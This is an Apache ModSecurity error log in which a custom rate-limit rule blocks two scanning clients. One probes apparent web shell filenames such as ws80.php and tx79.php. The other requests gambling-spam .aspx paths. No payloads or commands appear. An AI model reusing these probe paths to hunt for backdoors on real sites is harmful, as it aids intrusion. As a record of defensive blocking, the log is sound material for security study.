[Thu Apr 23 02:07:58.912407 2026] [:error] [pid 23776:tid 23783] [client 4.235.1.40:20330] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aekOfrRExf-1pAbSeJtmaAAAAYU"]
[Thu Apr 23 02:07:59.742005 2026] [:error] [pid 23776:tid 23787] [client 4.235.1.40:58165] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aekOf7RExf-1pAbSeJtmbAAAAYk"]
[Thu Apr 23 02:08:00.535035 2026] [:error] [pid 9085:tid 9109] [client 4.235.1.40:20302] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aekOgN-_-or9vQnlWnpA6QAAAVY"]
[Thu Apr 23 02:08:01.440365 2026] [:error] [pid 23776:tid 23781] [client 4.235.1.40:8733] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aekOgbRExf-1pAbSeJtmcgAAAYM"]
[Thu Apr 23 02:08:02.284251 2026] [:error] [pid 23776:tid 23782] [client 4.235.1.40:23923] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aekOgrRExf-1pAbSeJtmdwAAAYQ"]
[Thu Apr 23 02:08:03.095959 2026] [:error] [pid 9085:tid 9094] [client 4.235.1.40:38725] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aekOg9-_-or9vQnlWnpA8AAAAUc"]
[Thu Apr 23 02:08:04.402829 2026] [:error] [pid 9085:tid 9108] [client 4.235.1.40:62366] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aekOhN-_-or9vQnlWnpA9wAAAVU"]
[Thu Apr 23 02:08:05.205540 2026] [:error] [pid 6384:tid 6397] [client 4.235.1.40:49931] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aekOhT58M3t15ICeWHXbBwAAAMo"]
[Thu Apr 23 02:08:06.556568 2026] [:error] [pid 23776:tid 23792] [client 4.235.1.40:18139] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aekOhrRExf-1pAbSeJtmfwAAAY4"]
[Thu Apr 23 02:08:07.786589 2026] [:error] [pid 23776:tid 23786] [client 4.235.1.40:33032] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aekOh7RExf-1pAbSeJtmgQAAAYg"]
[Thu Apr 23 02:08:09.097369 2026] [:error] [pid 23776:tid 23797] [client 4.235.1.40:52605] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aekOibRExf-1pAbSeJtmiAAAAZM"]
[Thu Apr 23 02:08:10.578079 2026] [:error] [pid 9085:tid 9092] [client 4.235.1.40:19315] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aekOit-_-or9vQnlWnpBCgAAAUU"]
[Thu Apr 23 02:08:11.481983 2026] [:error] [pid 9085:tid 9107] [client 4.235.1.40:43774] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aekOi9-_-or9vQnlWnpBDQAAAVQ"]
[Thu Apr 23 02:08:12.316064 2026] [:error] [pid 9085:tid 9091] [client 4.235.1.40:52564] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aekOjN-_-or9vQnlWnpBEQAAAUQ"]
[Thu Apr 23 02:08:13.733109 2026] [:error] [pid 9085:tid 9095] [client 4.235.1.40:43725] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aekOjd-_-or9vQnlWnpBGAAAAUg"]
[Thu Apr 23 02:08:19.645018 2026] [:error] [pid 6384:tid 6405] [client 4.235.1.40:19248] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aekOkz58M3t15ICeWHXbMgAAANI"]
[Thu Apr 23 02:08:25.106525 2026] [:error] [pid 23776:tid 23785] [client 4.235.1.40:45669] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aekOmbRExf-1pAbSeJtmoQAAAYc"]
[Thu Apr 23 02:08:26.534148 2026] [:error] [pid 9085:tid 9100] [client 4.235.1.40:48725] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aekOmt-_-or9vQnlWnpBNwAAAU0"]
[Thu Apr 23 02:08:28.776555 2026] [:error] [pid 6384:tid 6397] [client 4.235.1.40:48730] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aekOnD58M3t15ICeWHXbTQAAAMo"]
[Thu Apr 23 02:08:31.324885 2026] [:error] [pid 23776:tid 23778] [client 4.235.1.40:8657] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aekOn7RExf-1pAbSeJtmqgAAAYA"]
[Thu Apr 23 03:05:14.958947 2026] [:error] [pid 6252:tid 6318] [client 176.57.188.217:41916] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aekb6utGYuiYb1nWBpSNKwAAAQY"]
[Thu Apr 23 03:05:17.872024 2026] [:error] [pid 6250:tid 6259] [client 176.57.188.217:33512] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aekb7Q-iZeQkqmQVfj5WuwAAAEU"]
[Thu Apr 23 03:05:20.590938 2026] [:error] [pid 6251:tid 6293] [client 176.57.188.217:33520] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aekb8CsFAzbyObL-SQ60VgAAAIg"]
[Thu Apr 23 03:05:23.426527 2026] [:error] [pid 9085:tid 9087] [client 176.57.188.217:33536] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aekb89-_-or9vQnlWnpa5wAAAUA"]
[Thu Apr 23 03:05:26.243842 2026] [:error] [pid 6251:tid 6304] [client 176.57.188.217:33546] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aekb9isFAzbyObL-SQ60WQAAAJM"]
[Thu Apr 23 03:05:28.893322 2026] [:error] [pid 6252:tid 6325] [client 176.57.188.217:51298] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aekb-OtGYuiYb1nWBpSNLgAAAQ0"]
[Thu Apr 23 03:05:31.930746 2026] [:error] [pid 6252:tid 6331] [client 176.57.188.217:51304] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aekb--tGYuiYb1nWBpSNMQAAARM"]
[Thu Apr 23 03:05:34.752505 2026] [:error] [pid 6251:tid 6300] [client 176.57.188.217:51308] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aekb_isFAzbyObL-SQ60XQAAAI8"]
[Thu Apr 23 03:05:37.548059 2026] [:error] [pid 23776:tid 23778] [client 176.57.188.217:34396] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aekcAbRExf-1pAbSeJt06AAAAYA"]
[Thu Apr 23 03:05:40.305311 2026] [:error] [pid 23776:tid 23799] [client 176.57.188.217:34410] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aekcBLRExf-1pAbSeJt06wAAAZU"]
[Thu Apr 23 03:05:43.130238 2026] [:error] [pid 6252:tid 6322] [client 176.57.188.217:34424] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aekcB-tGYuiYb1nWBpSNNgAAAQo"]
[Thu Apr 23 03:05:46.136808 2026] [:error] [pid 6344:tid 6368] [client 176.57.188.217:34436] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aekcCkDOTF-pkQnDeUlQ2QAAABM"]
[Thu Apr 23 03:05:48.792120 2026] [:error] [pid 23776:tid 23785] [client 176.57.188.217:39672] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aekcDLRExf-1pAbSeJt07wAAAYc"]
[Thu Apr 23 03:05:51.750119 2026] [:error] [pid 6344:tid 6358] [client 176.57.188.217:39684] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aekcD0DOTF-pkQnDeUlQ4AAAAAk"]
[Thu Apr 23 03:05:54.377149 2026] [:error] [pid 6252:tid 6314] [client 176.57.188.217:39694] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aekcEutGYuiYb1nWBpSNRQAAAQI"]
[Thu Apr 23 03:05:57.109176 2026] [:error] [pid 6344:tid 6367] [client 176.57.188.217:43862] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aekcFUDOTF-pkQnDeUlQ4wAAABI"]
[Thu Apr 23 03:05:59.626765 2026] [:error] [pid 9085:tid 9092] [client 176.57.188.217:43874] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aekcF9-_-or9vQnlWnpa_QAAAUU"]
[Thu Apr 23 03:06:02.524990 2026] [:error] [pid 6252:tid 6318] [client 176.57.188.217:43890] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aekcGutGYuiYb1nWBpSNSgAAAQY"]
[Thu Apr 23 03:06:05.344176 2026] [:error] [pid 9085:tid 9109] [client 176.57.188.217:43898] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aekcHd-_-or9vQnlWnpbCwAAAVY"]
[Thu Apr 23 03:06:08.100355 2026] [:error] [pid 23776:tid 23799] [client 176.57.188.217:40520] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aekcILRExf-1pAbSeJt09gAAAZU"]
[Thu Apr 23 03:06:10.823583 2026] [:error] [pid 9085:tid 9092] [client 176.57.188.217:40534] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aekcIt-_-or9vQnlWnpbDgAAAUU"]
[Thu Apr 23 03:06:32.883356 2026] [:error] [pid 9085:tid 9092] [client 176.57.188.217:40550] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aekcON-_-or9vQnlWnpbQwAAAUU"]
[Thu Apr 23 03:06:35.582695 2026] [:error] [pid 9085:tid 9106] [client 176.57.188.217:42148] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aekcO9-_-or9vQnlWnpbRwAAAVM"]
[Thu Apr 23 03:06:38.099140 2026] [:error] [pid 9085:tid 9103] [client 176.57.188.217:58184] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aekcPt-_-or9vQnlWnpbTwAAAVA"]
[Thu Apr 23 03:06:40.725240 2026] [:error] [pid 6384:tid 6400] [client 176.57.188.217:58188] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aekcQD58M3t15ICeWHXvUgAAAM0"]
[Thu Apr 23 03:06:43.433529 2026] [:error] [pid 9085:tid 9107] [client 176.57.188.217:58198] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aekcQ9-_-or9vQnlWnpbZwAAAVQ"]
[Thu Apr 23 03:06:46.170050 2026] [:error] [pid 23776:tid 23789] [client 176.57.188.217:58210] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aekcRrRExf-1pAbSeJt1CgAAAYs"]
[Thu Apr 23 03:06:48.955078 2026] [:error] [pid 6251:tid 6297] [client 176.57.188.217:40460] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aekcSCsFAzbyObL-SQ60bwAAAIw"]
[Thu Apr 23 03:06:51.585479 2026] [:error] [pid 9085:tid 9108] [client 176.57.188.217:40466] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aekcS9-_-or9vQnlWnpbfQAAAVU"]
[Thu Apr 23 03:06:54.189377 2026] [:error] [pid 23776:tid 23796] [client 176.57.188.217:40482] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aekcTrRExf-1pAbSeJt1DwAAAZI"]
[Thu Apr 23 03:06:56.791372 2026] [:error] [pid 9085:tid 9107] [client 176.57.188.217:40496] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aekcUN-_-or9vQnlWnpbhwAAAVQ"]
[Thu Apr 23 03:06:59.387354 2026] [:error] [pid 9085:tid 9110] [client 176.57.188.217:60488] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aekcU9-_-or9vQnlWnpbjQAAAVc"]
[Thu Apr 23 03:07:02.053320 2026] [:error] [pid 6384:tid 6399] [client 176.57.188.217:60500] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aekcVj58M3t15ICeWHXvZAAAAMw"]
[Thu Apr 23 03:07:04.697283 2026] [:error] [pid 23776:tid 23787] [client 176.57.188.217:60508] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aekcWLRExf-1pAbSeJt1EwAAAYk"]
[Thu Apr 23 03:07:07.276438 2026] [:error] [pid 6252:tid 6317] [client 176.57.188.217:53944] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aekcW-tGYuiYb1nWBpSNWwAAAQU"]
